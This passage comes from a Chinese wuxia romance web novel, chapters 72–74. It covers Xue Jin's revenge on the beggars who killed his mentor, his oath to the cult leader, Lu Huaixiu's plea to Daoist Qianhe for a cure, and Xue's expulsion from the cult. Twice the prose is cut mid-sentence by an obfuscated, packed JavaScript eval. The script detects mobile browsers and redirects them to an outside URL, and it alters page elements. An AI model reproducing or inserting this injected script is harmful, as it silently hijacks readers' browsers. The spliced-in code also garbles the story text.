眼前的一切发生的太过突然,众丐被吓得面色泛白,想要逃开,却发现自己的双腿根本就不听使唤。他们就像是被钉在了原地一样,只能眼睁睁地看着群兽从四面八方涌来,将他们铁桶似的围在了中间。 箫声越来越急,包围圈也就越来越小,体型庞大来势凶猛的野兽低吼着走近,它们的猎物已然无处可逃。 此起彼伏的惨叫声不断响起,声音的主人仿佛正经受着十八层地狱之中的各种酷刑,任谁都能听出其中的痛苦,但薛矜丝毫不为所动,依旧吹着那支可以号令万兽的曲子,直到惨叫声渐渐微弱下来,最终彻底消失,他才放下唇边的竹箫。 箫声一停,群兽当即四散开去,皆是一副饱餐后的餍足模样。 夜色又重归于寂静,只有满地的死尸昭示着刚刚发生的一切并非幻觉。从被啃噬得七零八碎的尸首不难看出,死者生前遭受了多大的痛苦。 鼻尖萦绕着挥之不去的血腥气,薛矜垂下眸子,定定地看着被他亲手送入地狱的仇敌,仿佛要将他们惨死的模样刻进心里似的。不知看了多久,他忽然仰天大笑,笑声里有大仇得报的快意,却还夹杂着一丝说不清道不明的苍凉。 他终于替那个人报仇了,就用他传授给自己的《万兽心曲》。 在薛家被江洋大盗灭门之后,孑然一身的他四处流浪,靠着野果野菜,倒也能勉强活下去。 这种居无定所的日子一直持续到一年后,一群土匪将他暂居的村子洗劫一空,全村人都遭到了屠杀。幸免遇难的他躺在尸体堆里装死,却被前来检查的山大王不放心似的朝背上砍了三刀。 那时候的他硬是凭着一股信念,死死咬住嘴唇,不让自己发出半点声音,最终成功蒙混过关,那群恶匪带着满车的金银珠宝打道回府,丝毫没有发现他这条漏网之鱼。 背上的刀伤深及入骨,火辣辣的疼痛传遍四肢百骸,他强撑着不让自己闭上眼睛,知道这一闭,他就再也醒不过来了。 浓重的黑暗一点一点将他淹没,就在他彻底失去意识前,一个老乞丐鬼鬼祟祟地出现在了村里,强忍着恶心将手探进死尸的衣服内摸索,显然是来捡漏的。 他仿佛看见了活下去的希望,强烈的求生欲驱使着他发出低低的求救声,最终成功惊动了来人。 面对这个只剩下一口气的幸存者,老乞丐无奈地叹出一口气,最后还是认命地把他背到自己身上,用摸尸摸来的钱财送他就医。 自那之后,他们就生活在了一起,老乞丐出去要饭,小乞丐在家干活,一老一小相依为命,日子倒也不算太难过。 老乞丐是个不折不扣的酒鬼,腰间永远挂着一只酒葫芦,时不时就喝一口,喝上头了就又要不厌其烦地回首过往。 出身于名门正派的他自小便显露出练武的天赋,是众望所归的下任掌门人,谁知有朝一日却遭小人陷害,被恩师震断奇经八脉扫地出门。一代武学奇才自此筋脉尽断,武功全失,最终沦落成街头乞丐,整日吃着残羹冷炙度日,受尽世人的白眼。 这是个多么悲惨的故事啊,薛矜被迫听了一遍又一遍,深刻地认识到了江湖的险恶。那些自诩正义的侠士也会争名夺利勾心斗角,偏偏还要装出一副道貌岸然的模样,只敢在背地里行蝇营狗苟之事,何其虚伪,何其可笑。 某日他采了一大袋野果回来,却意外撞见一群向来和他们不对付的恶丐背着一袋米,大摇大摆地走出了破庙。 心中陡然升起一股不祥的预感,他有些着急地推开庙门,入眼便见老乞丐毫无声息地躺倒在血泊中,被白花花撒了一地的米粒包围着。红与白形成鲜明对比,让人见之,触目惊心。 几乎是在一瞬间,他便洞悉了事情的来龙去脉,仇恨的种子就此种下,最后长成参天大树。 恰好就是在老乞丐的第一年祭日,他亲手把仇人送下地狱,若是那人泉下有知,想必也会拍手称快吧。 静默半晌后,薛矜敛去了面上的笑意,正打算就此归家,却在这时听到一阵突兀的掌声。他先是 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这一切,不过发生在电光火石之间。只是方才发生的一切,薛矜都看得清清楚楚。那名公子哥不过挥了挥衣袖,甚至连一根手指都懒得抬起,群兽便命丧当场,无一生还。 在这名男子的面前,就算是攻击力极强的猛兽也如同待宰的羔羊一般,毫无反抗的余地。 薛矜被他刚刚展现出来的力量完完全全震撼到了,某种隐秘的渴望像是野草一样在心底恣意疯长。 看都不看地上横七竖八的死尸一眼,公子哥俯下身来,与他视线齐平,在看到小乞儿眼中毫不掩饰的崇拜之后,他满意地勾起了唇角。 就像之前一样,他站在一旁围观了全程,却始终没有出手的打算。眼见小乞儿被追进林子里,他兴味索然地收回目光,认定对方此番必死无疑,然而下一瞬,他就被狠狠地打脸了。 小乞儿的绝地反杀实在是太精彩了,以至于他怔怔地看了许久,才后知后觉地鼓起掌来。 即使陷入绝境,也不会坐以待毙,而是努力地找寻着对手的破绽,伺机攻之,最终反败为胜,置之死地而后生。 越是危急时刻,越是能冷静下来,这样的人才若只能当个路边要饭的叫花子,天天为没有乞讨到足够的钱财而忍饥挨饿,实在是暴殄天物,不如捡回去养养看,也许能给活了不知道多久的自己带来不少乐子。 思及此处,他深深望进小叫花的眼里,用蛊惑般的声音说道:“小乞儿,我改变主意了,你要不要跟我走?” 形势瞬间逆转,薛矜昂起自己的小下巴,一脸桀骜地说道:“你倒是说说看,你能带给我什么,若是一点好处都没有,我干嘛要跟你走。” 闻听此言,公子哥脸上笑意更深,已经很久没人敢这么跟他说话了,倒是稀奇。静默片刻后,他认真答道:“我可以教你武功,能把所有欺负过你的人全部踩在脚底下的武功。” 在对方话音飘然落地的刹那,薛矜承认他狠狠地心动了。 面对这等送上门来的好事,他没有任何拒绝的理由,可是天下没有白吃的午餐,对方不可能无缘无故对他好,这么做必定是有所图谋。思及此,他按耐住躁动的内心,单刀直入地说道:“你为什么要这样做?你想从我身上得到什么?” 对方直接把话挑明了,自己也就没有遮遮掩掩的必要了,公子哥略略抬起身子,轻笑道:“我帮人,可是需要条件的。”说完,他顿了顿,而后放慢语调,轻缓又郑重:“我要你,献上绝对的忠诚。” 看着那双不怒自威的金色眸子,薛矜想都没想,直接将自己的答案脱口而出。 “我发誓,我将永远效忠于你。” “若违此誓,永坠深渊。 * 过往的记忆如同潮水般涌来,薛矜一时感慨万千,要是当初没遇上教主,他说不定还在街头要饭求生。在那之后又过去三年,从死亡岛上顺利活下来的他向教主证明了自己的实力,因而被他领走,由他亲自培养。 轩辕十四武功盖世,权势滔天,在薛矜看来,天底下就没有他做不到的事。他把一身惊才绝艳的本领都教授给了自己,对他来说,是亦师亦友亦兄亦父的存在。 八年过去,自己早已从稚嫩孩童长成为青葱少年,而他的样貌居然丝毫未变,一如初见,岁月并没有在他身上留下任何印记,他就像是……不会老一样。 就在他思绪飘远之际,附着了轩辕十四神识的红眼乌鸦冷不丁问道:“薛念之,你会背叛我么?” 此言一出,薛矜脑中好似有一道白光闪过,几乎是瞬间就领会到了教主提及往事的用意。 他认为自己或许会被感情冲昏头脑,从而做出叛教出逃的行为,就像他在停剑山庄处决掉的那个叛徒一样。他担心自己重蹈覆辙,于是旧事重提,望他悬崖勒马。 压下复杂的心绪,薛矜薄唇微启,语调平和,却有着切金断玉的决然:“不,属下将永远效忠于您。” 72. 上山 因为救人心切,陆怀袖同陈李二人没有半点耽搁,一路跋山涉水,日夜兼程,终于在七日后抵达知守观所在的云音山下。 三人抬头望去,只见群峰环抱间,一座古朴的道观矗立在山顶之上,缥缈的云雾环绕四周,给人一种飘飘然遗世独立的感觉。 李年年止住脚步,转头看向陆怀袖,沉吟片刻后说道:“陆小姐,我们只能送你到这里了。你也知道我们身份敏感,那些以除魔卫道为己任的道士必定是不欢迎我们的。” 站在她身旁的陈阡陌闻言点头道:“年年所言甚是,为了防止两方起冲突,以至于坏了大事,我们就不陪陆小姐上去了。” 接收到两人一齐投射过来的视线,陆怀袖拍了拍胸脯,信誓旦旦地说道:“你们放心好了,我此番必能把那位道长带下山,你们留在这里等我的好消息便是。” 陈李二人又细细叮嘱了几句才放她离开,之后陆怀袖便与他们暂别,毅然决然地向山上走去。 许是刚刚下过一场雨,石阶表面变得十分光滑,少女好几次都差点滑倒,幸亏她反应快,死死抓住身旁的灌木枝,这才没有摔个鼻青脸肿。 不知走过了多少石阶,她终于爬上山顶,来到了知守观的观门前。只见云雾缭绕间,赫然伫立着一座青瓦白墙的秀雅道观,道观四周草木葳蕤,松柏环抱,乍一看还以为是神仙洞府。 一个眉清目秀的小道士正拿着扫把一丝不苟地扫着观门前的落叶,无意间瞥见一名粉衣少女施施然向他走来,一时连手上的活儿都忘了干,只顾呆呆地看着这位生平仅见的漂亮人物。 陆怀袖见有人在此,当即朝他走过去,十分礼貌地问道:“实在抱歉打扰到道长,小女子有事要见贵派掌门,不知您可否引荐一二?” 那个小道士见这般天仙似的姑娘主动和他搭话,情急之下咬到了舌头,疼得他顿时倒抽了一口凉气。在少女关切的目光下,他有些窘迫地说道:“敝派掌门不喜见客,恕小道不能从命。” 陆怀袖并不意外这个回答,在来之前,她便对这位知守观掌门人有了一定的了解。她知对方性情孤僻,鲜少与人交往,这世上只有寥寥数人能与他见上一面,真真正正的往来无白丁。 不过即便如此,她也没有放弃的打算,来都来了,自然没有空手而归的道理。 思及此,她将早就准备好的信笺拿了出来,双手递给小道士,望向他的目光带上恳求之意:“劳烦道长将这封信转交给贵派掌门,我相信他看过这封信后便会改变心意。” 她倒不是平白无故地这样说,在这封信里她坦白了自己的真实身份,误以为自己早就丧生火海的千鹤道长必定大为震惊,急着与她见上一面,向她问清事情的来龙去脉,她也能借机说出自己的请求。 眼见少女一脸恳求地望着自己,小道士怎么也说不出拒绝的话来,只得将那封信收入袖中,朝她应承道:“姑娘稍等片刻,小道这就替你将这封信转交给掌门。” 他说完这句话之后,立时得到少女一声真情实意的道谢,看着对方那副眉眼弯弯的样子,他心里莫名升起一股满足感,随即迈动脚步,昂首阔步地朝观内走去。 很快,一盏茶功夫过去了,陆怀袖在观门前徘徊,心中的不安越来越大。 就算那位千鹤道长愿意见她,可他真的会出手搭救与他势不两立的魔教护法么? 少女越想越是不安,最后实在忍不住,猛地甩了甩头,将那个念头从脑海中甩出去。 她这次一定要得偿所愿,不论对方开出什么样子的条件,自己只管答应便是。 就在她下定决心的那一刻,观门砰的一声被推开,那位小道士径直朝她走来,看向她的目光不由得带了几分惊讶。没想到掌门看过那封信之后,居然真的像她说的那样,立刻邀请她相见,也不知这位姑娘是何方神圣,竟能让一向疏离的掌门主动相邀。 压下纷杂的思绪,他走到那位身份神秘莫测的姑娘面前,对着她恭恭敬敬地说道:“敝派掌门愿意和您见上一面,还请姑娘跟着小道,小道这就为你引路。” 闻听此言,陆怀袖心中的不安顿时一扫而空,她竭力克制住嘴角的笑意,用尽可能平静的声音说道:“那就多谢道长了。” 之后少女便跟着他七拐八拐,穿过长廊,绕过假山,最后抬脚跨入一处别致的庭院。 院中种着大片绿竹,两人穿过竹林小道,来到一间雅致的木屋前。小道士在那屋前停下脚步,抬手做出一个请的姿势,意思不言而喻。 认真地朝这位好心人道过谢后,陆怀袖深吸了一口气给自己壮胆,接着轻手轻脚地推开屋门,映入眼帘的便是一位穿着灰色道袍的中年道士,他面容清癯,目敛华光,颇有世外高人之姿,俨然就是那位备受尊崇的千鹤道长。 见她进屋,千鹤道长连忙招呼她坐下,还亲手倒了一杯清茶递给她,之后又对着小道士使了个眼色,对方立马会意地关上了门,屋内便只剩下他们两人相对而坐。 陆怀袖端起茶杯轻抿一口,入口清甜,芳香四溢,确实是好茶。她耐心地等着对方问话,没等多久,果然听他问道:“殿下可否告知贫道,您是如何做到火海逃生的?” 他说完颇为不可思议地望着眼前的人,传闻中早已香消玉殒的明月公主此刻活生生出现在眼前,的确让他感到难以置信。 对他的反应,陆怀袖并不意外,她沉吟片刻,组织了一下措辞,随后便将整件事情的来龙去脉一五一十地告诉了他,甚至连救命恩人的真实身份都没有隐瞒。 千鹤道长听完整件事的始末,向来波澜不惊的脸上也难得露出了惊色,许久许久的沉默过后,他不可置信地说道:“您是说,那个挟持了您作为人质的薛大魔头其实也是您的救命恩人?” 不怪他震惊,毕竟这件事听起来确实有点离谱,但更让他惊掉下巴的是少女接下来的话:“你说的也没错,不过有一点我需要纠正一下,其实那日是我主动送上门来的,为的就是让他劫持我作为人质,好让你们不敢轻举妄动。” 此言一出,千鹤道长顿时惊得瞳孔都放大了许多。这位娇滴滴的公主殿下主动充当人质,只为助那魔头突出重围,看来两人之间的关系远比他以为的要好。 想到此处,他心底顿时掀起了万丈狂澜。和亲公主和江湖公敌交情匪浅,甚至可能是两情相悦,是这世界疯了还是他疯了? 陆怀袖好像有读心术一样,一眼就看出他心中所想,她眸光澄澈,坦坦荡荡地说道,“我知道您在想什么,我和他的关系的确不一般。阴差阳错之下他救 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少女脸上一副不撞南墙不回头的表情,千鹤道长看在眼里,心里暗自叹了口气,情之一字,实在害人不浅。忽然想到什么似的,他抬眸看向少女,直奔主题:“殿下独自来此,想必不是为了找贫道叙旧的吧。” 听他这般说来,陆怀袖也不再遮遮掩掩,开门见山地说道:“我今日来此,的确是有事想找道长帮忙。想必您也知道,薛矜他中了醉神花毒,已然时日无多,普天下只有道长能解此毒,还望您能不计前嫌施以援手,小女子日后定当涌泉相报。” 闻言,千鹤道长一时哑然,低头沉默许久才缓缓道:“我的确有法子医治他。”在看见小公主眼中骤然升起的欢喜后,尽管心中不忍,但他还是狠下心道:“只是殿下想要求助的事情,恕贫道不能答应。薛摇光视人命如草芥,贫道若是将他救下,只会害了更多无辜的人。” 陆怀袖听到他的回答一点都不意外,她咬了咬下唇,而后从袖子里取出一朵通体雪白的莲花,用尽量平静的口吻说道:“我们不妨做个交易,道长若是愿意出手相救,这株传说中的奇花便归您了。” 千鹤道长听后,忙垂眸看去,那枝莲花不正是他苦寻多年无果的冰霜雪莲么?那株珍贵无比的天霜雪莲就如同一根吊在驴子面前的胡萝卜,千鹤道长不得不承认他被狠狠动摇了,毕竟对他来说,一味珍稀药材比万两黄金都更诱人。 可经过一番天人交战后,他还是强行克制住了要当场答应的冲动,艰难地拒绝道:“虽然贫道对殿下开出的条件心动不已,但救下一个恶人意味着要害死数不清的好人,贫道断不会为一己私欲便弃无数性命而不顾。” 闻听此言,陆怀袖的心止不住地往下沉,可就在她的心沉到谷底的时候,千鹤道长有些纠结地开了口:“那个家伙若是愿意自此脱离魔教,以后不再滥杀无辜,贫道便答应您的请求。” 听他语气有所松动,陆怀袖心中顿时一喜,可就在她听完对方开出的条件后,脸上又恢复了愁眉不展的表情。 只是过了这个村就没有这个店了,她思忖再三,最终还是点头道:“我向您保证,您不会后悔救他的。” 手中的天霜雪莲终究是给了出去,见道士宝贝似的捧着这比万两黄金还珍贵的奇花,陆怀袖不由得长舒了一口气,整个人都放松下来。 然而她没想到的是,更大的麻烦正接踵而至。 73. 下山 因为薛矜的病情耽搁不得,在答应了小公主的请求后,千鹤道长简单收拾了一下便随她下山了。 到了山脚之后,在原地等了几个时辰的陈李二人见两人一齐朝他们这边走来,陆怀袖还给了他们一个安心的眼神,当即便知此事已成,这才将心落回了肚子里。 千鹤道长早已从小公主口中得知他二人身份,虽不喜魔教中人物,却也没有替天行道的念头,只是默默走在前面,权当没瞧见他二人,表明了他不与魔教中人为伍的态度。 陈李二人并未对此感到不满,俗话说道不同不相为谋,他们根本就不指望这种正派大人物会给自己好脸色。 他们自然而然地走到陆怀袖身边,向她询问方才发生的事,陆怀袖当即便将方才的事一五一十说了,在提到千鹤道长最后开出的条件时,陈李二人皆是一脸欲言又止的表情。 少女注意到了他们表情的变化,忍不住开口问道:“你们怎么都是这副表情?” 迎上她问询的目光,李年年顿了半晌,还是开口解释道:“他的那个要求,薛矜恐怕不会答应。” 这句话如同一记重锤,狠狠敲在陆怀袖头上,击打得她晕头转向。尽管脸色已经变得很难看了,但她还是不死心地说道:“我们好好劝劝他,他说不定就会……” 陈阡陌听罢摇摇头,无奈地说道:“陆小姐有所不知,那家伙同我们一样,都是从小被教主全方位培养长大,但他对教主不二的忠心,是我们这辈子拍马都赶不上的。如果说落月教里只有一个人不会叛教出逃,那个人一定会是他薛摇光。” 好像被人兜头浇了一盆冷水,陆怀袖顿觉全身血液被凝固。她知陈阡陌同薛矜一起长大,对他所知甚详,如今他说得这般笃定,可见薛矜真的不会做出叛教之事,那么千鹤道长开出的条件就不能被满足,他们这些天的努力也都白费了。 陈李二人显然也意识到了这一点,面色如出一辙的难看。霎时间三人头顶都被一片挥之不去的阴云笼罩,可走在前方的千鹤道长却对此一无所知,继续飞快地赶路。 就这样,三人连同搬来的救兵一路埋头前行,仅用了几日便顺利抵达曲州城。 终于得见那座熟悉的宅邸,陆怀袖半是喜悦半是愁地走上前去,抬手扣了扣门环。一阵细碎的脚步声由远及近地传来,很快大门被打开,显出一张出水芙蓉的漂亮脸蛋,脸蛋的主人正是那位从良花魁水玲珑。 她早知三人此次出门只是为了求医,此刻见他们身边多出一个相貌堂堂的道士,想必就是袖袖亲口提到的能救薛矜一命的千鹤道长。思及此处,她忙将门外之人迎了进来,领着他们脚下不停地往薛矜屋子的方向走去。 待进得屋内,映入眼帘的便是那张熟悉的容颜,陆怀袖心里忽然涌出一种说不出的喜悦,她几乎没怎么思考,就已经身体先于脑子一步地扑进少年的怀里。 薛矜此刻正半躺在床上,忽然听到门外有动静,紧接着一阵香风迎面,他先是怔愣了一下,而后轻笑一声,在那人朝他扑过来的时候,自然而然地张开双臂拥她入怀。 两人仿佛自成一个世界,余下四人顿觉自己的存在是多么的多余,他们你望我我望你,最后还是陈阡陌勇敢地站了出来,用一道重重的咳嗽声提醒两人还有外人在场。 经过他的提醒,陆怀袖这才后知后觉地意识到还有外人在场,脸上顿时羞红一片,触电一般挣脱了少年的怀抱,而后欲盖弥彰地退到一边,与他保持着不远不近的距离。 千鹤道长假装没有注意到她脸上的红晕,心里却暗自腹诽道,你们是不是也太旁若无人了一点。 他没有忘了今天的正事,径直走到少年床前,居高临下地看着这位不久前还跟他打了一架的敌人,斟酌好一会儿方道:“薛摇光,想必你已经知道此刻对你说话的人是谁,话不多说,救你可以,但你得答应贫道一个条件。” 此言一出,陆怀袖和陈李二人肉眼可见地变得紧张起来,虽然早就知道他接下来会说什么,但这不妨碍他们紧张得手汗都冒出来了。 能救自己性命的人就站在自己的面前,但薛矜并未表现出激动之色,相反,他此刻出奇地平静:“道长性情嫉恶如仇,想必是要我脱离魔教,才肯对我施以援手了。” 少年仿佛拥有读心术一般,道出了他心中的想法,千鹤道长一时怔愣住,原本想要说的话不上不下地卡在喉咙里,说不出口也咽不下去。 许久的沉默过后,他终于开口,语气里带着询问:“那你答应不答应?” 随着他的话音落下,余下四人齐齐的将视线落到薛矜身上,只盼他不要说出什么让他们失望的话来。 可少年偏不如他们愿,在他们期盼的目光下,他缓缓吐出了必定会让他们失望的话:“我是不会背叛教主的。” 他这话说得斩钉截铁,没有丝毫转圜的余地,千鹤道长未曾想到会有这样的结果,一时哑然失声。半晌过后,他意味不明地叹了口气:“竟然你执意如此,那贫道就只能见死不救了,毕竟身为魔教护法的你,对中原武林正道人士是一个巨大的威胁。” 对于他的话,薛矜不置可否,他像是没意识到自己死期已至一般,唇角扬起一个很淡的笑容,慢条斯理地说道:“道长不远千里赶来,不如留下来休息几日再离开?” 千鹤道长闻言摇了摇头,果断地拒绝了他的邀请:“既然你已经做出了选择,那贫道也没有呆下去的必要了,只是苦了你那三位伙伴,即使再努力也是竹篮打水一场空。” 闻听此言,薛矜脸上的笑容瞬间凝固,他张了张嘴好似想说些什么,最后却还是什么也没说,就这样放任自己的救星离开。 事已至此,似乎已经再无转机,余下四人皆是郁闷到了极点,他们知道千鹤道长一旦离开,少年就注定死去。无能为力的挫败感席卷而来,他们像是被霜打了的茄子,一副恹恹不乐的样子,任谁都能瞧出他们此刻的坏心情。 而就在千鹤道长走到门口的时候,一道慵慵懒懒的男声却在这时突兀地响了起来,震惊到除薛矜之外的所有人:“等等,你先别走。” 这声音好像是有什么魔力一般,千鹤道长愣了愣,依言停下脚步,他循声望去,却见发出声音的竟是一只红眼乌鸦。 因为注意力都集中在少年身上,屋内五人对这只乌鸦的存在竟然毫无察觉,此刻见它口吐人言,脸上皆露出了震惊之色。 那只乌鸦看也不看他们一眼,一双红宝石般的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534297|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛直直地盯着半躺在床榻上的少年,用一种下达命令的口吻说道:“本座宣布,从今日起,你薛念之就不是我落月教中人了。” 这副上位者的口吻,仿佛对面的少年就是俯首听命的臣子,而它则是高高在上的君王。短短一句话,这只乌鸦的身份却已然浮出水面。 千鹤道长惊疑不定地看着它,心中忽然冒出一个大胆的念头,口中喃喃道:“阁下莫不是落月教教主轩辕十四?” 他虽是询问的语气,但心中已经有七八分肯定了,然而万万没想到的是,一向神龙见首不见尾的天下第一教教主轩辕十四,竟会以乌鸦的形态出现在自己面前。 那只乌鸦既不否认也不承认,他完全无视除薛矜之外的所有人,视线只停留在少年身上。在他说出那句话之后,少年始终低垂着头一言不发,安静得有些诡异了。 但轩辕十四好似对此并不关心,语气一如既往的冷酷无情:“把你的身份令牌扔在地上,就现在。” 但这一次薛矜没有条件反射地遵从命令,他像是没听到似的,浑身僵硬地一动不动。感受到了他无声的抗拒,轩辕十四也并未催促,耐心地等着他的下一步动作。 一阵长久的静默过后,薛矜才终于动了动僵硬的身体,他沉默着从怀中取出了一枚令牌,手一扬扔到地上,发出一声沉闷的撞击声。 轩辕十四将他的动作尽收眼底,忽地看向被眼前情形惊得呆立在原地的陈阡陌,对着他的那个手下吩咐道:“陈阡陌,把你的剑拔出来,然后斩断这块令牌。” 突然被教主点名,陈阡陌脸上的震惊之色瞬间消失,取而代之的是一副受宠若惊的模样。教主日理万机,事务缠身,居然会记得他这种底层小虾米的名字,这真让人感到意外。 在心里感慨一番后,他将视线投向始终未发一言的少年,脸上尽是忧心忡忡。在教主给他下达了这项指令后,少年本来就苍白的脸色更加苍白了,整个人看起来就像一尊白玉雕像。 尽管不想伤害这个好友,但教主的命令他不得不从,他在心中暗自叹了口气,随后当着众人的面一把抽出腰间佩剑。一道银色的剑光划过,刻着“摇光”二字的身份令牌被从当中劈开。 随即是一阵落针可闻的静默,陈阡陌将剑收入腰间鞘中,他知道自己这一剑下去,这世上从此再没有薛摇光了。 显然千鹤道长也意识到了这一点,他颇为意外地看向那位暗夜帝国的君主,迟疑了许久,还是忍不住问道:“薛摇光是教主的左膀右臂,您为何要自断羽翼?” 回应他的是一声轻呵,轩辕十四眸光不定地看着被一分为二的的令牌,声音是一贯的慵懒,语气却透着上位者的冰冷与无情:“因为本座不需要无用之人,而他已经是了。” 话音刚一落下,他便冷淡地朝道士投去一瞥,那一瞥极轻极淡,可千鹤道长却立即感觉到一股如泰山压顶般的压迫感,让身为绝顶高手的他都有些难以招架。 可就在他暗自运功抵御的时候,方才那股强大的压迫感陡然消失,原本蹲在窗台边的乌鸦也不见了踪影,像是刚才发生的一切都是幻觉似的。 唯有地上那块断了的令牌提醒着,今日过后,屋中所有人的命运都将发生改变。 74. 医治 自那日薛矜被动地做出了选择之后,结果已经不言而喻,千鹤道长最终还是留了下来,答应替他排毒疗伤。 醉神花毒毒性诡异莫测,唯有用本派只传掌门人的洗髓功法方能化去,除此之外,还需要有一个精通针灸之术的人从旁协助,李年年显然就是最好的人选。 次日清晨,众人早早地就起床洗漱,简单地用了早膳后,千鹤道长就负责安排活计,然后大家各就各位,各司其职。千鹤道长在李年年的帮助下施展洗髓功法,水玲珑负责准备午膳,陈阡陌和陆怀袖二人则被安排在庭院外面研磨药草。 陆怀袖一边用石棒研磨那些药草,一边回想着昨夜千鹤道长对她说过的话:“在给薛矜的治疗中,他将承受钻心刺骨的痛楚,若是没挺过去,就会活生生被痛死。” 似乎是怕她陷入到某种绝望的境地,千鹤道长索性将最坏的结果告知于她,让她提前做好心理。因为这个缘故,少女一整夜都没有睡好,导致次日起床时,眼下都浮现出淡淡的青色。 她身旁的陈阡陌显然也注意到了这一点,忍不住关切地问道:“陆小姐昨晚没睡好?是因为担心那个家伙吗?” 随着他的话音落下,陆怀袖手上的动作一顿,思虑再三之后,她最终选择将心中顾虑一五一十地讲出。 陈阡陌一字不落地听完,随后发出一声恍然大悟的声音:“原来你是在担心这个。”见少女一副忧心忡忡的样子,他不由得放柔了声音,安慰似的说道:“你且放宽心,那家伙对痛苦的忍耐程度超乎常人。” 察觉到陆怀袖投过来的视线,他斟酌了一下措辞,随后前不着村后不着店地开口道:“当年我和那家伙以及年年一同在死亡岛上接受试炼,我们仨被分在了同一个小组,每天都要接受惨无人道的训练,还有三个月一次的考核,若是不幸在考核中排名垫底,整个小组都要绑着一块大石头,被扔进海里喂鱼。” 说出这番话的时候,他的脸上流露出了一丝回忆的神色,陆怀袖虽不明白他为何突然提及往事,但还是被他的话所吸引,用手杵着下巴,摆出一副倾听者的姿态。 尽管两人早已互通心意,但她对那个家伙仍然知之甚少,对她来说,那个家伙就是一条神秘的河流,无法窥见底下涌动着什么,如今能够听到他以前的旧事,她自然愿意洗耳恭听。 陈阡陌见她眼中的忧色渐渐消失,唇角微微翘起,接着先前的话继续道:“最开始的时候,我们小组不是倒数第二就是倒数第三,随时都有被丢进海里喂鲨鱼的风险,好几次我都以为自己要见不到明天的太阳了,可次次都被那个家伙带飞,最终安然无恙地度过考核期。直到试炼结束,我们小组甚至爬到了全岛第一。” 说到此处,他高高地昂起下巴,俊逸的脸上浮现出骄傲的神色,看起来就像一只漂亮的白孔雀。陆怀袖似乎也被他感染,脸上笑意浅浅,全然不见之前那副忧心忡忡的神色。 过得片刻,陈阡陌敛了敛脸上神色,又接着把话说下去:“我一开始怎么也没想到那个家伙会这样厉害,毕竟我们初次见面的时候,他还只是个堪堪到成年人腰的小萝卜丁,而且年仅九岁,是所有试炼者中年龄最小的那个,所以在这个比我小还比我矮的家伙提出要做小组老大的时候,我是第一个站出来反对的,可不久之后,我就心甘情愿地做起了他的小弟。” 话说到这里,戛然而止,陆怀袖成功被他勾起了好奇心,放下手里正研磨的药杵,扬眸兴味盎然地看他。 接收到少女充满求知欲的眼神,陈阡陌也没有卖关子的意思,稍稍停顿了一下便接着说道:“在某次训练结束后,我和他结伴去澡堂子洗澡,无意中瞥见他那并未完全长开的背上分布着三道狰狞可怖的疤痕。当时的我在极度震撼后,不由好奇心起,终于有一天寻得机会,向他问及此事,盼他能为我答疑解惑。” 陆怀袖听完这一句话后,默不作声,心里泛起一股浓浓的心疼。在听到这番话之前,她一直以为只有薛矜欺负别人的份,谁都别想欺负他,可是事实却并非如此。 在他年龄尚小,还没有保护自己力量的时候,曾度过一段相当艰难的时期,这个认知让她感到十分难受。 陈阡陌怎么看不出来她眼里浓浓的心疼,原本想出言安慰她一番,可话到嘴边又咽了回去,改口道:“那家伙见我十分好奇,却摆出一副‘我偏不告诉你你能拿我怎样’的样子,但在我的死缠烂打下,他终于松了口,只是向我额外提出一个条件,要我从此当他的跟班才肯答应。” “对于他这种趁火打劫的无耻行径,我表示强烈谴责,但实在按捺不住好奇心,最后还是屈服了。而就在他三言两语把过去那件事告诉我之后,原本不情不愿的我自此也心甘情愿跟在他身后当小弟。” 在陆怀袖催促的目光中,他不紧不慢地开口道:“在那家伙七八岁的时候,曾因为全家被灭门无一幸免的缘故,过上了四处流浪的日子,还曾在一处山清水秀的地方落脚。可谁知天有不测风云,他不幸遇上了一伙下山抢劫的土匪,为了保命,不得不装成死尸混在死人堆里,可前来检查的山大王不放心,最后在他背上砍了三刀,确定他绝无生还可能以后才满意离去。” “而那个家伙在他补刀的过程中,硬是一点声音都没有发出来,就这么蒙混过关,幸免于难。” 寥寥数语,却将当时的情景生动地描绘了出来。陆怀袖脑中不由浮现出一副人间地狱般的景象,在那群穷凶极恶的强盗嬉笑着离开后,少年背上深及入骨的伤口汩汩流血,染红了他一身衣裳。他鼻中闻到的是浓重的血腥气,眼中看到的是面目狰狞的尸体,身上承受的是犹如蚂蚁蚀骨的疼痛。 要是她那时候在那里就好了,她一点也不嫌弃他脏,会在尽量不触碰到他伤口的情况下,小心翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547074|139963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼的将他背到自己身上,然后背着满身是血的他往医馆走去。 等到他的伤痊愈之后,她就把他养在身边,教他做人的道理,不会再让他走上歧路,变成无恶不作的大魔头。 可惜没有如果,她无法从嶙峋的命运里救他,掺和不进去他注定腥风血雨的一生。 但陆怀袖就是陆怀袖,她没有放任自己消沉太久,深吸了一口气,又重新燃起了斗志。 虽然那家伙的过去她无法参与,但他的未来却可以由她改写。 就在她生出这个念头的时候,明明上一刻还陷入回忆不可自拔的陈阡陌突然冷不丁开口:“所以说啊,对于一个即使被连砍三刀,也能靠意志力强忍住疼痛从而逃过一死的家伙来说,没有什么是不能忍受的。” 他这话宛如一颗定心丸,陆怀袖心中的不安顿时一扫而空,原本有些忧虑的心情也奇异地被抚平。 